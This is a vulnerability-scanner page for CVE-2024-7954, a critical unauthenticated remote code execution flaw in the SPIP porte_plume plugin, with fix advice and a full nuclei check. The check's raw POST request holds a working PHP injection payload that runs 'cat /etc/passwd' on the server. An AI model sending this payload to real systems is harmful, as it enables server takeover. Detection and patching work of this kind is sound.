SPIP Porte Plume Plugin - Remote Code Execution

criticalseverity

9.8CVSS score

90.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The porte_plume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request.

Impact

Unauthenticated attackers can execute arbitrary PHP code as the SPIP user, achieving complete server compromise and full control of the SPIP installation and its data.

Fix

Update SPIP to version 4.3.0-alpha2, 4.2.13, or 4.1.16 or later to address the remote code execution vulnerability in the porte_plume plugin.

How to confirm it

Send: POST /index.php?action=porte_plume_previsu
Positive when: matches /root:.*:0:0:/ AND contains in header "Composed-By: SPIP" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7954 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-7954

info:
  name: SPIP Porte Plume Plugin - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    The porte_plume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code as the SPIP user, achieving complete server compromise and full control of the SPIP installation and its data.
  remediation: |
    Update SPIP to version 4.3.0-alpha2, 4.2.13, or 4.1.16 or later to address the remote code execution vulnerability in the porte_plume plugin.
  reference:
    - https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html
    - https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather/
    - https://vulncheck.com/advisories/spip-porte-plume
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7954
    - https://github.com/bigb0x/CVE-2024-7954
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-7954
    cwe-id: CWE-284
    epss-score: 0.90053
    epss-percentile: 0.99797
  metadata:
    max-request: 1
    vendor: spip
    product: spip
    fofa-query: app="SPIP"
  tags: cve,cve2024,spip,rce,vkev,vuln

http:
  - raw:
      - |
        POST /index.php?action=porte_plume_previsu HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - 'Composed-By: SPIP'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from